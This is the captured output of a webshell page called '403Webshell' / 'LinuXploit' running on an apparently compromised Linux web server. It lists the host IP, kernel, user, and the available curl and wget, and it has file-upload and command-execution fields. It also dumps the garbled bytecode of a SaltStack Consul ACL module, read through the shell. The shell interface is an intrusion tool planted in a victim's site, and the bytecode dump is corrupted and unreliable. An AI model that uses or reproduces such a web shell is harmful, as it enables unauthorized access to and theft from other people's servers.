403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/consul.cpython-310.pyc
o

;j��@sLdZddlZe�e�Zddd�Zddd�Z						dd
d�Zddd
�ZdS)a
Consul Management
=================

.. versionadded:: 3005

The consul module is used to create and manage Consul ACLs

.. code-block:: yaml

    acl_present:
      consul.acl_present:
        - id: 38AC8470-4A83-4140-8DFD-F924CD32917F
        - name: acl_name
        - rules: node "" {policy = "write"} service "" {policy = "read"} key "_rexec" {policy = "write"}
        - type: client
        - consul_url: http://localhost:8500

    acl_delete:
       consul.acl_absent:
         - id: 38AC8470-4A83-4140-8DFD-F924CD32917F
�NcCsvtd|||d�}|dr|ddd|krdS|dr)|ddd|kr)dS|dr9|ddd	|kr9dSd
S)zY
    return True if the acl need to be update, False if it doesn't need to be update
    �consul.acl_info��id�token�
consul_url�res�datar�NameTZRules�TypeF)�__salt__)�namer�type�rulesrr�info�r�F/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/consul.py�_acl_changessrcCs�ddd�}|rtd|||d�}n
|rtd||d�}n|S|�d�rM|dD]%}|r:|d	|kr:d
|d<||d<q'|rL|d
|krLd
|d<|d	|d<q'|S)z�
    Check the acl exists by using the name or the ID,
    name is ignored if ID is specified,
    if only Name is used the ID associated with it is returned
    FN)�resultrrrzconsul.acl_list)rrr�IDTrrr	)r�get)rrrr�retrZaclrrr�_acl_exists-s 


�r�client��http://localhost:8500cCs,|idd|�d�d�}t||||�}|dsLtdr$d|d<d|d	<|Std
||||||d�}|dr>d|d<d
|d	<|S|dsJd|d<d|d	<|S|dr�t||d||||d�}	|	r�tdrld|d<d|d	<|Std||d||||d�}
|
dr�d|d<d|d	<|S|
ds�d|d<d|d	<|S)a
    Ensure the ACL is present

    name
        Specifies a human-friendly name for the ACL token.

    id
        Specifies the ID of the ACL.

    type: client
        Specifies the type of ACL token. Valid values are: client and management.

    rules
        Specifies rules for this ACL token.

    consul_url : http://locahost:8500
        consul URL to query

    .. note::
        For more information https://www.consul.io/api/acl.html#create-acl-token, https://www.consul.io/api/acl.html#update-acl-token
    T�ACL "z" exists and is up to date�r�changesr�commentr�testNz)The acl doesn't exist, it will be createdrzconsul.acl_create)rrrr
rrrzThe acl has been createdFzFailed to create the aclrz"The acl exists and will be updatedzconsul.acl_updatezThe acl has been updatedzFailed to update the acl)r�__opts__rr)rrrr
rrr�exists�creater�updaterrr�acl_presentIsh
��"�����r$cCs�|idd|�d�d�}t||||�}|drItdr$d|d<d|d	<|Std
|d||d�}|d
r=d|d<d|d	<|S|d
sId|d<d|d	<|S)ar
    Ensure the ACL is absent

    name
        Specifies a human-friendly name for the ACL token.

    id
        Specifies the ID of the ACL.

    token
        token to authenticate you Consul query

    consul_url : http://locahost:8500
        consul URL to query

    .. note::
        For more information https://www.consul.io/api/acl.html#delete-acl-token

    Trz" does not existrrrNz"The acl exists, it will be deletedrzconsul.acl_deleterrrzThe acl has been deletedFzFailed to delete the acl)rr r)rrrrrr!�deleterrr�
acl_absent�s,
�
��r&)NNNNN)NNNN)NNrrr)NNr)	�__doc__�logging�	getLogger�__name__�logrrr$r&rrrr�<module>s



�W

Youez - 2016 - github.com/yon3zu
LinuXploit